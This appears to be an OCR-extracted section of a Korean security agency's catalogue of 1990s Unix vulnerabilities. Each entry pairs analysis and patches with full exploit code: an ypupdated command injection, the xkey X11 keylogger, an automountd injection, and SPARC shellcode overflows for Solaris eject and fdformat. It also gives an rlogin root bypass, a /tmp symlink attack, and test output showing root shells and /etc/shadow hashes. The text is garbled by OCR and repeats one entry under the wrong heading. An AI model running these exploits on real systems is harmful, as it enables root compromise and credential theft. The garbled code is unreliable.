Page 525: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

char wonthirtyseven[255-1+2 %1000];

fore.tv_sec = 60; fore.tv_usec = 0;

if (argc != 3) exit(printf("wonthirtyseven₩n"));

if (isdigit(argv[1][0]))

{ ham = gethostbyname(argv[1]);

if (ham == NULL) exit(printf("ham!!!!!!!!!!!!₩n"));

bcopy(ham->h_addr, &them.sin_addr.s_addr. 2*2);

}

if (strlen(argv[2]) > 253)

{ printf("your comm is bein trunc'd to 253₩n");

argv[2][253] = '₩0';

}

sprintf(wonthirtyseven, "|%s", argv[2])

them.sin_family = AF_INET;

them.sin_port = 0;

yope = clntudp_create(&them, 100028, 1, fore, &ursuck);

if (yope == NULL) exit(printf("Cu;dn't create yope₩n"));

clnt_control(yope, CLSET_TIMEOUT, &fore);

yope->cl_auth = authdes_create("nobody", 600, NULL, NULL);

if (yope->cl_auth == NULL) exit(printf("won:local site misconfigured₩n"));

if (yope->cl_auth->ah_ops->ah_marshal == NULL)

exit(printf("too:local site misconfigured₩n"));

stam.mapname = wonthirtyseven;

stam.key.yp_buf_val = "blah";

stam.datum.yp_buf_val = "blah";

stam.key.yp_buf_len = 5;

stam.datum.yp_buf_len = 5;

if(clnt_call(yope, YPU_CHANGE, wdr_ypupdate_args, &stam, xdr_u_int,

&othello, fore) != RPC_SUCCESS)

printf("137₩n");

}

Page 526: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

kisa% slammer kisa "echo '++' >> /. rhosts"

kisa% ls -ld /.rhosts

-rw-r--r-- 1 root 4Dec 23 15:13 /.rhosts

해킹흔적 확인방법

- rpcinfo -p를 이용하여 ypupdated가 수행 중인지 아닌지 점검한다.

대응방법

패치설치

- IBM AIX 3.2 : APAR - IX55360, PIF - U440666

AIX 4.1 : APAR - IX55363

http://aix.boulder.ibm.com/pbin-usa/fixdist.pl/ 참조

임시조치

- ypupdated는 대부분의 운영체제에서 더 이상 지원하지 않고 있다. 다음과 같이

ypupdated 서비스를 제거한다.

・inetd.conf에서 ypupdated를 제거한다.・기타 운영체제별로 적절한 조치를 통해 ypupdated 서비스를 제거한다.・반드시 시스템 재부트등을 통해 현재 수행중인 ypupdated 프로세스도 중단시켜야 한다.

Page 527: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

mail_spamming-*-프로토콜mail_spamming-*-protocol

Page 528: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

mail_spamming-*-protocol

mail_spamming-*-프로토콜

문서번호

KH98-048

문서제목

mail_spamming-*-프로토콜(mail_spamming-*-protocol)

관련 응용프로그램

/bin/mail

관련 운영체제

모든 운영체제

취약점 분석

취약점 이해

- 전자우편 전송 프로토콜인 SMTP는 사용자 인증기능이 없어 임의의 사용자가 자신의 정

보를 위장하여 다른 사용자에게 전자우편을 전송할 수 있다. 또한 많은 전자우편 서버들이

임의의 사용자로부터의 전자우편 전송 요청을 허용하도록 구성되어 있다.

취약점 확인 방법

해킹수법분석

해킹수법 이해

- 임의의 사용자로부터의 전자우편 전송 요청을 허용하도록 구성되어 있는 전자우편 서버

를 찾아 전자우편 전송 프로토콜인 SMTP의 취약점을 이용해 전자우편을 전송시킨다.

- 이같은 용도를 위한 전자우편 전송 프로그램이 제공되고 있다.

해킹 소스 프로그램

해킹시험 결과

>>>From [email protected] Wed Jul 26 08:05:42 1995

Received: from PHYSC1.BYU.EDU(physc1.byu.edu [128.187.18.9]) by

keos.cs.Helsinki.FI (8.6.10/H46) with SMTP id IAA14405 for

<[email protected]>; Wed, 26 Jul 1995 08:04:59 +0300

Date: Tue, 25 Jul 1995 22:22 MDT

Page 530: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

- 동일한 내용의 전자우편들을 수집하여 헤더부분의 FROM 등과 같은 여러 헤더들을 비교

검사하여 발신자를 추적할 수 있다.

대응방법

- 최신 버전의 전자우편 서버 프로그램을 설치하고 blacklist 등을 이용한 필터링 기능을

이용한다.

- 기타 전자우편 필터링 유틸리티를 설치하여 운영한다.

- 서버측에서는 임의의 사용자에 대한 전자우편 중계기능을 차단시킨다.

- 근본적인 대책은 아직 확립되지 않았다.

Page 531: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

rlogin-AIX-입력해석rlogin-AIX-parse

Page 532: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

rlogin-AIX-parse

rlogin-AIX-입력해석

문서제목

KH98-049

문서제목

rlogin-AIX-입력해석(rlogin-AIX-parse)

관련 응용프로그램

/bin/login

관련 운영체제

AIX 3

취약점 분석

취약점 이해

- rlogin은 원격호스트에 로그인하기 위한 유틸리티의 하나인데 이중 AIX 3.2.x 버전의 시

스템에서 rlogin 명령의 입력해석 오류로 인하여 루트 사용자(root) 계정으로 패스워드없이

로그인할 수 있다.

취약점 확인 방법

tcpwapper를 사용하여 불법적인 rlogin접근을 탐지 할 수 있다.

해킹수법분석

해킹수법 이해

해킹 소스 프로그램

rlogin -1 -froot target_host

해킹시험 결과

해킹흔적 확인방법

- tcpwapper를 이용하면 불법적인 rlogin접근을 탐지 할 수 있다.

대응방법

Page 533: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

패치설치

- APAR IX44254

임시조치

- /etc/inetd.conf에서rlogind 행을 ‘#’으로 막고 inetd를 다시 실행시킨다.

#kill -HUP pid_of_inetd

Page 534: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xwindow-*-구성Xwindow-*-config

Page 535: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xwindow-*-config

Xwindow-*-구성

문서번호

KH98-050

문서제목

Xwindow-*-config

관련 응용프로그램

xkey

관련 운영체제

X window가 설치된 모든 운영체제

취약점 분석

취약점 이해

취약점 확인 방법

해킹수법분석

해킹수법 이해

- X server가 임의의 호스트에서 오는 접속을 허가할 경우 침입자는 임의의 사용자의 키보

드 입력과 스크린 출력을 볼 수 있게된다.

- 대부분의 시스템들이 기본적으로 접근제어 기능을 활성화시키지 않아 모든 호스트에서

접속할 수 있도록 설정되어 있다.

해킹 소스 프로그램

- 첨부

해킹시험 결과

공격용 시스템에서 다음과 같이 공격용 프로그램을 수행시킴

Hacker% xkey 210.116.239.122:0.0

다른 시스템에서 xterm 프로그램을 실행시켜 X 서버에 터미널 화면을 표시하고 해당 터미

널 화면에서 “ls -l” "cat main-c.c" 및 임의 문자열을 입력시킨 결과, 공격용 시스템 터미

널에 다음과 같이 표시됨.

Page 536: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Hacker% xkey 210.116.239.122:0.0

<<Alt_L>><<Super_L>><<Hyper_R>><<Shift_L>><<Control_L>>ls -1

cat main-c.c

<<Alt_L>><<Super_L>><<Hyper_R>><<Shift_L>><<Control_L>><<Shift_L>>Hi,

<<Shift_L>

>I am on another session now <<Shift_L>>!!!

Page 537: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

대응방법

- 다음과 같은 명령을 수행시켜 접근제어 기능을 활성화시킨다.

# xhost -

- xsession 파일등의 X 윈도우 관련 쉘 스크립트에서 “xhost +" 명령을 제거한다.

- X magic cookie를 사용한다.

Page 538: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/* To compile, run it through your favorite ansi compiler something like

* this

*

* gcc -o xkey xkey.c -|X11 -lm

*

* To run it, just use it like this : xkey displayname:0

* and watch as that display's keypresses show up in your shell window.

*

* Dominic Giampaolo ([email protected])

*/

#include <stdio.h>

#include <X11.h>

#include <X11/Xlib.h>

#include <X11/Intrinsic.h>

#include <X11/StringDefs.h>

#include <X11/Xutil.h>

#include <X11/Shell.h>

char *TranslaterKeyCode(XEvent * ev);

Display *d;

void snoop_all_windows(Window root, unsigned long type)

{

static int level = 0;

Window parent, *children, *child2;

unsigned int nchildren;

int stat, I,j,k;

level++;

stat = XQueryTree(d, root, &root, &parent, &children, &nchildren);

if (stat == FALSE)

Page 539: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

{

fprintf(stderr, "Cant't query window tree...₩n");

return;

}

if(nchildren == 0)

return;

/* For a more drastic inidication of the problem being exploited

* here, you con change these calls to XSelectInput() to something

* like XClearWindow(d, children[i]), or if you want to be real

* nasty, do XKillWindow(d, children[i]). Of course if you do that,

* then you'll want to remove the loop in main().

*

* The whole point of this exercise being that I shouldn't be

* allowed to manipulate resources which do not belong to me.

*/

XSelectlnput(d, root, type);

for(i=0; I < nchildren; I++)

{

XSelectInput(d, children[i], type);

snoop_all_windows(children[i],type);

}

XFree((char *)children);

}

void main(int argc, char **argv)

{

char *hostname;

char *string;

XEvent xev;

int count = 0;

if (argv[1] == NULL)

hostname = ":0";

else hostname = argv[1]:

d = XOpenDisplay(hostname);

Page 540: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (d == NULL)

{

fprint(stderr, "Blah, can't open display: %s₩n", hostname);

exit(10);

}

snoop_all_windows(DefaultRootWindow(d), KeyPressMask);

while(1)

{

XNextEvent(d, &xev);

string = TranslateKeyCode(&xev);

if(string == NULL)

continue;

if(*string == '₩r')

printf("₩n");

else if (strlen(string) == 1)

printf("%s", string);

else

printf("<<%s>>", string);

fflush(stdout);

}

}

#define KEY_BUFF_SIZE 256

static char key_buff[KEY_BUFF_SIZE];

char *TranslaterKeyCode(XEvent *ev)

{

int count;

char *tmp;

KeySym ks;

if (ev)

{

count = XLockupString((XKeyEvent *)ev, key_buff, DEY_BUFF_SIZE,

&ks,NULL);

key_buff[count] = '₩0';

Page 541: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (count == 0)

{

tmp = XKeysymtoString(ks);

if(tmp)

strcpy(key_buff, tmp);

else

strcpy(key_buff, "");

}

return key_buff;

}

else

return NULL;

}

Page 542: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

admintool-Solaris-임시파일

admintool-Solaris-tmpfile

Page 543: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

admintool-Solaris-tmpfile

admintool-Solaris-임시파일

문서번호

KH98-051

문서제목

admintool-Solaris-임시파일(admintool-Solaris-tmpfile)

관련 응용프로그램

/usr/bin/admintool

관련 운영체제

Sun Solaris 2.5.x

취약점 분석

취약점 이해

- admintool은 파일의 독점적인 점유를 위해 임시파일을 잠금장치(locking mechanism)로

사용하는데, 이 임시파일은 소유자는 루트(root)이지만 일반사용자도 읽거나 쓸수 있도록 퍼

미션이 설정된다.

취약점 확인 방법

/tmp/.group.lock 파일이 다른 파일로 링크되어 있는지를 점검한다.

해킹수법 분석

해킹수법 이해

-admintool은 파일의 독점적인 점유를 위해 임시파일을 잠금장치(locking mechanism)로

사용하는데, 이 임시파일은 소유자는 루트(root)이지만 일반사용자도 읽거나 쓸 수 있도록

퍼미션이 설정된다.

해킹 소스 프로그램

ln -s /.rhosts /tmp/.group.lock

/usr/bin/admintool

주) 여기서 그룹메뉴 -> 편집을 선택하면 오류가 표시된 -> 나감

Page 544: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

flat% id

uid=200(kadosu) gid=10(staff)

flat% ln -s /.rhosts /tmp/.group.lock

flat% ls-ld /tmp/.group.lock

lrwxrwxrwx 1 kadosu staff 8 Mar 10 13:26 /tmp/.group.lock -> /.rhosts

flat% ls -ld /.rhosts

/.rhosts: No such file or directory

flat% /usr/bin/admintool

flat% ls -ld /.rhosts

-rw-rw-rw- 1 root staff 0 Mar 10 13:27 /.rhosts

flat%

Page 545: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

대응방법

패치 설치

- Patch-ID#103560-05

임시 조치

- 다음과 같이 admintool을 일반사용자가 실행시키지 못하도록 변경한다.

chmod 400 /usr/bin/admintool

Page 546: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

automountd-Solaris-함수호출

automountd-Solaris-fun_call

Page 547: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

automountd-Solaris-fun_call

automountd-Solaris-함수호출

문서번호

KH98-051

문서제목

admintool-Solaris-임시파일(admintool-Solaris-tmpfile)

관련응용프로그램

/usr/bin/admintool

관련응용체제

Sun Solaris 2.5.ㅌ

취약점 분석

취약점 이해

- admintool은 파일의 독점적인 점유를 위해 임시파일을 잠금장치(locking mechanism)로

사용하는데, 이 임시파일은 소유자는 루트(root)이지만 일반사용자도 읽거나 쓸 수 있도록

퍼미션이 설정된다.

취약점 확인 방법

/tmp/.group.lock 파일이 다른 파일로 링크되어 있는지를 점검한다.

해킹수법 분석

해킹수법 이해

- admintool은 파일의 독점적인 점유를 위해 임시파일을 잠금장치(locking mechamism)로

사용하는데, 이 임시파일은 소유자는 루트(root)이지만 일반사용자도 읽거나 쓸 수 있도록

퍼미션이 설정된다.

해킹 소스 프로그램

ln -s /.rhosts /tmp/.group.lock

/usr/bin/admintool

주) 여기서 그룹메뉴 -> 편집을 선택하면 오류가 표시된 -> 나감

Page 548: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

flat% id

uid=200(kadosu) gid=10(staff)

flat% set filec

flat% ./automountd

Usage: ./automountd mountpoint map key [opts]

flat% ls -ld /etc/shadow

-r--------- 1 root sys 610 Nov 19 14:45 /etc/shadow

flat% uname -a

SunOS flat 5.5 Gener ic Sun4u sparc SunW,Ultra-1

flat% ./automountd 210.116.239.50 /bin/chmod "777 /etc/shadow"

mntres =2.

flat% ls -ld /etc/shadow

-rwxrwxrwx 1 root sys 610 Nov 19 14:45 /etc/shadow

flat%

해킹흔적 확인방법

대응방법

패치 설치

-패치를 설치한다.

Patch ID : 104654, 1046545

임시 조치

Page 549: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/*

this is really dumb autonoutd exploit, tested on Solar is 2.5.1

./r blahblah /bin/chmod "777 /etc; 2nd cmd;3rd; cmd" and so on,

map is executed via popen with kdy given as argument, read

automount(1M)

patch 10465[45] fixes this

*/

#include <sys/types.h>

#include <sys/time.h>

#include <stdio.h>

#include <netdb.h>

#include <rpc/rpc.h>

#include <rpcsvc/autofs_prot.h·

#define AUTOTS "datagram_v" /* XXX */

void usage(char *s) {

printf("Usaga: %s mountpoint map key [opts]₩n", s);

exit(0);

}

bool_t

xdr_mntrequest(xdrs, objp)

register XDR *xdrs;

mntrequest *objp;

{

register long *buf;

if (!xdr_string(xdrs, &objp->name, A_MAXNAME))

return (FALSE);

Page 550: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (!xdr_string(xdrs, &objp->map, A_MAXNAME))

return (FALSE);

if (!xdr_string(xdrs, &objp->opts, A_MAXOPTS))

return (FALSE);

if (!xdr_string(xdrs, &objp->path, A_MAXPATH))

return (FALSE);

return (TRUE);

}

bool_t

xdr_mntres(xdrs, objp)

register XDR *xdrs;

mntres *objp;

{

register long *buf;

if (!xdr_int(xdrs, &objp->status))

return (FALSE);

return (TRUE);

}

main(int argc, char *argv[]) {

char hostname[MAXHOSTNAMELEN];

CLIENT *cl;

enum clnt_stat stat;

struct timeval tm;

struct mntrequest req;

struct mntres result;

if (argc < 4)

usage(argv[0]);

req.path=argv[1];

req.map=argv[2];

req.name=argv[3];

req.opts=argv[4];

if (gethostname(hostname, sizeof(hostname)) == -1) {

perror("gethostname");

exit(0);

}

Page 551: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if ((cl=clnt_create(hostname,,AUTOFS_PROG, AUTOFS_VERS, AUTOTS)) ==

NULL){

clnt_pcreateerror("clnt_creat");

exit(0);

}

tm.tv_sec=5;

tm.tv_usec=0;

stat=clnt_call(cl, AUTOFS_NOUNT, xdr_mntrequest, (char *)&req,

xdr_mntres,

(char *)&result, tm);

if (stat !=RPC_SUCCESS)

clnt_perror(cl, "mount call");

else

print("mntres = %d.₩n", result.status);

clnt_destroy(cl);

}

Page 552: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

eject-Solaris-버퍼오버플로우

eject-Solaris-overflow

Page 553: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

eject-Solaris-overflow

eject-Solaris-버퍼오버플로우

문서번호

KH98-053

문서제목

eject-Solaris-버퍼오버플로우(eject-Solaris-overflow)

관련 응용프로그램

/usr/bin/eject

관련 운영체제

Sun Solaris 2.4, 2.5, 2.5.1

취약점 분석

취약점 이해

- eject는 수동으로 매체를 추출할 수 없거나 Volume Management 도구에 의해 관리되는

제거가능매체장치로부터 매체를 추출하기 위한 유틸리티이다.

- eject 명령은 setuid root 프로그램(setuid 비트가 설저오딘 root 소유의 파일)이다.

- eject 명령은 옵션없이 디바이스 이름을 인수로 받게되어있다. 그러나, 인수의 길이를

검사하지 않기 때문에 스택버퍼가 오버플로우될 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- eject에 교묘히 설계된 인수를 제공하여 실행시키면 내부 스텍을 오버플로우시킨 후 제공

된 이진 코드를 실행하게된다.

- 이때 eject는 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트권한으로 수행

된다. 이를 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘을 얻을 수도

있다.

해킹 소스 프로그램

-첨부

Page 554: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

flat% id

uid=200(kadosu) gid=10(staff)

falt% eject25

Jumping to address 0xeffff028 B[364] E[400] SO[400]

# id

uid=200(kadosu) gid=10(staff) euid=0(root)

# more /etc/shadow

root:SNHZIQBOSxQiQ:9933::::::

#root:RwEufXbOdWQqU:9693::::::

daemon:NP:6445::::::

bin:NP:9730::::::

sys:NP:6445::::::

adm:NP:6445::::::

lp:NP:6445::::::

smtp:NP:6445::::::

uucp:NP:6445::::::

nuucp:NP:6445::::::

listen:*LK*::::::

nobody:NP:6445::::::

noaccess:NP:6445::::::

해킹흔적 확인방법

대응방법

패치설치

- Patch ID : SunOS 5.5.1 104776-01

임시 조치

-일반 사용자들은 eject를 사용하지 못하도록 한다.

# chmod 500 /usr/bin/eject

- AUSCERT에서 개발하여 공급하는 오버플로우 랩퍼(wrapper)를 설치한다.

ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper.c

- 컴파일러가 없을 경우, 바이너리 버전을 설치한다.

ftp://ftp.auscert.org.au/ppub/auscert/tools/eject_wrapper.tar.Z

Page 555: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련소스

/* wrote for Solar in 2.3.1. */

#include <stdio.h>

#include <stdlib.h>

#include <sys/type.h>

#include <unistd.h>

#define BUF_LENGTH 364

#define EXTRA 400

#define STACK_OFFSET 400

#define SPARC_NOP 0xa61cc013

u_char sparc_she||code[] =

"₩x2d₩x0b₩xd8₩x9a₩xac₩x15₩xa1₩x6e₩x2f₩x0b₩xda₩xdc₩xae₩x15₩xe3

₩x68"

"₩x90₩x0b₩x80₩x0e₩x92₩x03₩xa0₩x0c₩x94₩x1a₩x80₩x0a₩x9c₩x03₩xa0

₩x14"

"₩xec₩x3b₩xbf₩xec₩xc0₩x23₩xbf₩xf4₩xdc₩x23₩xbf₩xf8₩xc0₩x23₩xbf₩xf

c"

"₩x82₩x10₩x20₩x3b₩x91₩xd0₩x20₩x08₩x90₩x1b₩xc0₩x0f₩x82₩x10₩x20

₩x01"

“₩x91₩xd0₩x20₩x08”;

ulong get_sp(void)

{

_asm_("mov %sp,%i0 ₩n");

}

void main(int argc, char *argv[])

{

char buf[BUF_LENGTH + EXTRA + 8];

long targ_addr;

u_long *long_p;

u_ckar *char_p;

int i, code_length = strlen(aparc_she||code),dso=0;

if(argc > 1) dso=aroi(argv[1]);

Page 556: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

long_p =(u_long *) buf ;

targ_addr = get_sp() - STACK_OFFSET - dso;

for (i = 0; I < (BUF_LENGTH - code>length) / sizeof(u_long); I++)

*long_p++ = SPARC_NOP;

char_p = (u_char *) long_p;

for (i = 0; I <code_length; I++)

*char_p++ = sparc_she||code[i];

long_p = (u_long *) char_p;

for (i = 0; i < EXTRA / sixeof(u_long); I++)

*long_p++ =targ_addr;

printf(" Jumping to address 0x%lx B[%d] SO[%d]₩n",

targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

execl("/bin/eject", "eject", &buf[1],(char *) 0);

perror("execl failed");

}

Page 557: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fdformat-Solars-버퍼오버플로우

fdformat-Solaris-overflow

Page 558: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fdformat-Solaris-overflow

fdformat-Solars-버퍼오버플로우

문서번호

KH98-054

문서제목

fdformat-Solaris-overflow(fdformat-Solars-버퍼오버플로우)

관련 응용프로그램

/usr/bin/fdformat

관련 운영체제

Sun Solaris 2.3, 2.4, 2.5, 2.5.1 (이전 버전들고 취약 가능성이 있음)

취약점 분석

취약점 이해

- fdformat(1)은 플로피디스켓 또는 PCMCIA 디스크를 포맷하기 위해 사용되는 유틸리티

이다.

- fdformat은 seruid root 프로그램(setuid 비트가 설정된 루트소유의 파일)이다.

- fdformat 명령은 옵션없이 디바이스 이름을 인수로 받는다. 그러나, 인수의 길이를 검사

하지 않기 때문에 프로그램 수행중 내부 스택버퍼가 오버플로우될 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- fdformat에 교묘히 설계된 인수를 제공하여 실행시키면 내부 스택을 오버플로우시킨 후

제공된 이진 코드를 실행하게된다.

- 이때 fdformat는 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트권한으로

수행된다. 이를 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 웻을 얻을

수도 있다.

해킹 소스 프로그램

-첨부

Page 559: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

flat% lion25

Jumping to address 0xefffeef8 B[364] E[400] SO[704]

# id

uid=200(kadosu) gid=10(staff) euid=0(root)

해킹흔적 확인방법

대응방법

패치설치

- Patch ID : Sunos 5.5.1 104776-01

임시조치

- fdformat의 setuid 설정을 제거한다.

# chmod555 /usr/fdformat

- AUSCERT에서 개발하여 공금하는 오버플로우 랩퍼(wrapper)를 설치한다.

ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper.c

Page 560: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/*

Solaris 2.5.1 - this exploited was compiled on Solar is 2.4 and tested on 2.5.1

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <unistd.h>

#define BUF_LENGTH 364

#define EXTRA 400

#define STACK_OFFSET 704

#define SPARC_NOP 0xa61cc013

u_char sparc_she||code[] =

"₩x2d₩x0b₩xd8₩x9a₩xac₩x15₩xa1₩x6e₩x2f₩x0b₩xda₩xdc₩xae₩x15₩xe3

₩x68"

"₩x90₩x0b₩x80₩x0e₩x92₩x03₩xa0₩x0c₩x94₩x1a₩x80₩x0a₩x9c₩x03₩xa0

₩x14"

"₩xec₩x3b₩xbf₩xec₩xc0₩x23₩xbf₩xf4₩xdc₩x23₩xbf₩xf8₩xc0₩x23₩xbf₩xf

c"

"₩x82₩x10₩x20₩x3b₩x91₩xd0₩x20₩x08₩x90₩x1b₩xc0₩x0f₩x82₩x10₩x20

₩x01"

“₩x91₩xd0₩x20₩x08”;

u_long get_sp(void)

{

_asm_("mov %sp,%i0 ₩n");

}

void main(int argc, char *argv[])

{

Page 561: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

char buf[BUF_LENGTH + EXTRA + 8];

long targ_addr;

u_long *long_p;

u_ckar *char_p;

int I, code_length = strlen(aparc_she||code),dso=0;

if(argc > 1) dso=aroi(argv[1]);

long_p =(u_long *) buf ;

targ_addr = get_sp() - STACK_OFFSET - dso;

for (i = 0; I < (BUF_LENGTH - code>length) / sizeof(u_long); i++)

*long_p++ = SPARC_NOP;

char_p = (u_char *) long_p;

for (i = 0; i <code_length; i++)

*char_p++ = sparc_she||code[i];

long_p = (u_long *) char_p;

